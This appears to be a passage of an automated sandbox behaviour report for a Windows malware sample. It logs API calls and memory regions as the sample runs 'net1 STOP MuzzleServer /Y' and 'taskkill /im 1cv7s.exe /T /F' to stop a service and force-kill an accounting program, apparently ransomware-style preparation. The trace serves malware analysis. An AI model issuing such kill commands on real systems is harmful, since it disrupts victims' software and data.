OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x1f5498 [0039.541] GetServiceKeyNameW (in: hSCManager=0x1f5498, lpDisplayName="MUZZLESERVER", lpServiceName=0xa3aaf0, lpcchBuffer=0x1cfe78 | out: lpServiceName="", lpcchBuffer=0x1cfe78) returned 0 [0039.541] _wcsicmp (_String1="msg", _String2="MUZZLESERVER") returned -2 [0039.542] _wcsicmp (_String1="messenger", _String2="MUZZLESERVER") returned -16 [0039.542] _wcsicmp (_String1="receiver", _String2="MUZZLESERVER") returned 5 [0039.542] _wcsicmp (_String1="rcv", _String2="MUZZLESERVER") returned 5 [0039.542] _wcsicmp (_String1="redirector", _String2="MUZZLESERVER") returned 5 [0039.542] _wcsicmp (_String1="redir", _String2="MUZZLESERVER") returned 5 [0039.542] _wcsicmp (_String1="rdr", _String2="MUZZLESERVER") returned 5 [0039.542] _wcsicmp (_String1="workstation", _String2="MUZZLESERVER") returned 10 [0039.542] _wcsicmp (_String1="work", _String2="MUZZLESERVER") returned 10 [0039.542] _wcsicmp (_String1="wksta", _String2="MUZZLESERVER") returned 10 [0039.542] _wcsicmp (_String1="prdr", _String2="MUZZLESERVER") returned 3 [0039.542] _wcsicmp (_String1="devrdr", _String2="MUZZLESERVER") returned -9 [0039.542] _wcsicmp (_String1="lanmanworkstation", _String2="MUZZLESERVER") returned -1 [0039.542] _wcsicmp (_String1="server", _String2="MUZZLESERVER") returned 6 [0039.542] _wcsicmp (_String1="svr", _String2="MUZZLESERVER") returned 6 [0039.542] _wcsicmp (_String1="srv", _String2="MUZZLESERVER") returned 6 [0039.542] _wcsicmp (_String1="lanmanserver", _String2="MUZZLESERVER") returned -1 [0039.542] _wcsicmp (_String1="alerter", _String2="MUZZLESERVER") returned -12 [0039.542] _wcsicmp (_String1="netlogon", _String2="MUZZLESERVER") returned 1 [0039.542] NetServiceControl (in: servername=0x0, service="MUZZLESERVER", opcode=0x0, arg=0x0, bufptr=0x1cfe74 | out: bufptr=0x1cfe74) returned 0x889 [0039.543] wcscpy_s (in: _Destination=0xa3a4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0039.543] LoadLibraryW (lpLibFileName="NETMSG") returned 0x751d0000 [0039.544] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x751d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0xa3b338, nSize=0x800, Arguments=0xa39dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0039.545] GetFileType (hFile=0xb) returned 0x2 [0039.546] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1cfd94 | out: lpMode=0x1cfd94) returned 1 [0039.546] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xa3b338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x1cfdb4, lpReserved=0x0 | out: lpBuffer=0xa3b338*, lpNumberOfCharsWritten=0x1cfdb4*=0x1e) returned 1 [0039.546] GetFileType (hFile=0xb) returned 0x2 [0039.547] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1cfd94 | out: lpMode=0x1cfd94) returned 1 [0039.547] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xa216cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cfdb4, lpReserved=0x0 | out: lpBuffer=0xa216cc*, lpNumberOfCharsWritten=0x1cfdb4*=0x2) returned 1 [0039.547] _ultow (in: _Dest=0x889, _Radix=1900004 | out: _Dest=0x889) returned="2185" [0039.547] FormatMessageW (in: dwFlags=0x2800, lpSource=0x751d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xa3b338, nSize=0x800, Arguments=0xa39dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0039.547] GetFileType (hFile=0xb) returned 0x2 [0039.548] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1cfda0 | out: lpMode=0x1cfda0) returned 1 [0039.548] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xa3b338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1cfdc0, lpReserved=0x0 | out: lpBuffer=0xa3b338*, lpNumberOfCharsWritten=0x1cfdc0*=0x34) returned 1 [0039.548] GetFileType (hFile=0xb) returned 0x2 [0039.550] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1cfda0 | out: lpMode=0x1cfda0) returned 1 [0039.550] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xa216cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cfdc0, lpReserved=0x0 | out: lpBuffer=0xa216cc*, lpNumberOfCharsWritten=0x1cfdc0*=0x2) returned 1 [0039.550] NetApiBufferFree (Buffer=0x1f1c08) returned 0x0 [0039.550] NetApiBufferFree (Buffer=0x1f1c20) returned 0x0 [0039.550] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP MuzzleServer /Y" [0039.551] exit (_Code=2) Process: id = "26" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4bfd7000" os_pid = "0xb40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7s.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1399 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1400 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1401 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1402 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1403 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1404 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1405 start_va = 0x220000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1406 start_va = 0x4a2c0000 end_va = 0x4a30bfff entry_point = 0x4a2c0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1407 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1408 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1409 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1410 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1411 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1412 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1413 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1414 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1415 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1416 start_va = 0x4e0000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 1417 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1418 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1419 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1420 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1421 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1422 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1423 start_va = 0x720000 end_va = 0x81ffff entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1424 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1425 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1426 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1427 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1428 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1429 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1430 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1431 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1432 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1433 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1434 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1435 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1436 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1437 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1438 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1439 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1440 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1441 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1442 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1443 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1444 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1445 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1446 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1447 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1448 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1449 start_va = 0x820000 end_va = 0x9a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1450 start_va = 0x9b0000 end_va = 0x1daffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 1451 start_va = 0x1db0000 end_va = 0x20f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001db0000" filename = "" Region: id = 1452 start_va = 0x2100000 end_va = 0x23cefff entry_point = 0x2100000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 27 os_tid = 0xb44 [0039.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31f88c | out: lpSystemTimeAsFileTime=0x31f88c*(dwLowDateTime=0xd8ddce20, dwHighDateTime=0x1d4abdd)) [0039.707] GetCurrentProcessId () returned 0xb40 [0039.707] GetCurrentThreadId () returned 0xb44 [0039.707] GetTickCount () returned 0x1a18b [0039.707] QueryPerformanceCounter (in: lpPerformanceCount=0x31f884 | out: lpPerformanceCount=0x31f884*=1811493700000) returned 1 [0039.708] GetModuleHandleA (lpModuleName=0x0) returned 0x4a2c0000 [0039.708] __set_app_type (_Type=0x1) [0039.708] __p__fmode () returned 0x75ed31f4 [0039.708] __p__commode () returned 0x75ed31fc [0039.708] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2e21a6) returned 0x0 [0039.708] __getmainargs (in: _Argc=0x4a2e4238, _Argv=0x4a2e4240, _Env=0x4a2e423c, _DoWildCard=0, _StartInfo=0x4a2e4140 | out: _Argc=0x4a2e4238, _Argv=0x4a2e4240, _Env=0x4a2e423c) returned 0 [0039.708] GetCurrentThreadId () returned 0xb44 [0039.708] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb44) returned 0x60 [0039.708] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0039.708] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0039.708] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.709] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.709] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x31f81c | out: phkResult=0x31f81c*=0x0) returned 0x2 [0039.709] VirtualQuery (in: lpAddress=0x31f853, lpBuffer=0x31f7ec, dwLength=0x1c | out: lpBuffer=0x31f7ec*(BaseAddress=0x31f000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.709] VirtualQuery (in: lpAddress=0x220000, lpBuffer=0x31f7ec, dwLength=0x1c | out: lpBuffer=0x31f7ec*(BaseAddress=0x220000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0039.709] VirtualQuery (in: lpAddress=0x221000, lpBuffer=0x31f7ec, dwLength=0x1c | out: lpBuffer=0x31f7ec*(BaseAddress=0x221000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0039.709] VirtualQuery (in: lpAddress=0x223000, lpBuffer=0x31f7ec, dwLength=0x1c | out: lpBuffer=0x31f7ec*(BaseAddress=0x223000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.709] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x31f7ec, dwLength=0x1c | out: lpBuffer=0x31f7ec*(BaseAddress=0x320000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x120000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0039.709] GetConsoleOutputCP () returned 0x1b5 [0039.709] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2e4260 | out: lpCPInfo=0x4a2e4260) returned 1 [0039.709] SetConsoleCtrlHandler (HandlerRoutine=0x4a2de72a, Add=1) returned 1 [0039.710] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.710] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0039.710] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.710] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2e41ac | out: lpMode=0x4a2e41ac) returned 1 [0039.710] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.710] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.710] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.710] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2e41b0 | out: lpMode=0x4a2e41b0) returned 1 [0039.710] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.710] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0039.711] GetEnvironmentStringsW () returned 0x732b28* [0039.711] FreeEnvironmentStringsW (penv=0x732b28) returned 1 [0039.711] GetEnvironmentStringsW () returned 0x732b28* [0039.711] FreeEnvironmentStringsW (penv=0x732b28) returned 1 [0039.711] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31e78c | out: phkResult=0x31e78c*=0x6c) returned 0x0 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x0, lpData=0x31e798*=0x32, lpcbData=0x31e790*=0x1000) returned 0x2 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x1, lpcbData=0x31e790*=0x4) returned 0x0 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x0, lpData=0x31e798*=0x1, lpcbData=0x31e790*=0x1000) returned 0x2 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x0, lpcbData=0x31e790*=0x4) returned 0x0 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x40, lpcbData=0x31e790*=0x4) returned 0x0 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x40, lpcbData=0x31e790*=0x4) returned 0x0 [0039.711] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x0, lpData=0x31e798*=0x40, lpcbData=0x31e790*=0x1000) returned 0x2 [0039.711] RegCloseKey (hKey=0x6c) returned 0x0 [0039.711] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31e78c | out: phkResult=0x31e78c*=0x6c) returned 0x0 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x0, lpData=0x31e798*=0x40, lpcbData=0x31e790*=0x1000) returned 0x2 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x1, lpcbData=0x31e790*=0x4) returned 0x0 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x0, lpData=0x31e798*=0x1, lpcbData=0x31e790*=0x1000) returned 0x2 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x0, lpcbData=0x31e790*=0x4) returned 0x0 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x9, lpcbData=0x31e790*=0x4) returned 0x0 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x4, lpData=0x31e798*=0x9, lpcbData=0x31e790*=0x4) returned 0x0 [0039.712] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31e794, lpData=0x31e798, lpcbData=0x31e790*=0x1000 | out: lpType=0x31e794*=0x0, lpData=0x31e798*=0x9, lpcbData=0x31e790*=0x1000) returned 0x2 [0039.712] RegCloseKey (hKey=0x6c) returned 0x0 [0039.712] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f51 [0039.712] srand (_Seed=0x5c3c3f51) [0039.712] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7s.exe /T /F" [0039.712] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7s.exe /T /F" [0039.712] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.712] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x734bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0039.712] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.712] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.712] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.713] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0039.713] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0039.713] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0039.713] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0039.713] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0039.713] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0039.713] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0039.713] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0039.713] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0039.713] GetEnvironmentStringsW () returned 0x732b28* [0039.713] FreeEnvironmentStringsW (penv=0x732b28) returned 1 [0039.713] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.713] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.713] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0039.713] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0039.713] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0039.713] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0039.713] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0039.713] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0039.713] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0039.713] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0039.713] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x31f558 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x31f558, lpFilePart=0x31f554 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31f554*="Desktop") returned 0x25 [0039.714] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.714] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x31f2d4 | out: lpFindFileData=0x31f2d4) returned 0x731dc0 [0039.714] FindClose (in: hFindFile=0x731dc0 | out: hFindFile=0x731dc0) returned 1 [0039.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x31f2d4 | out: lpFindFileData=0x31f2d4) returned 0x731dc0 [0039.714] FindClose (in: hFindFile=0x731dc0 | out: hFindFile=0x731dc0) returned 1 [0039.714] 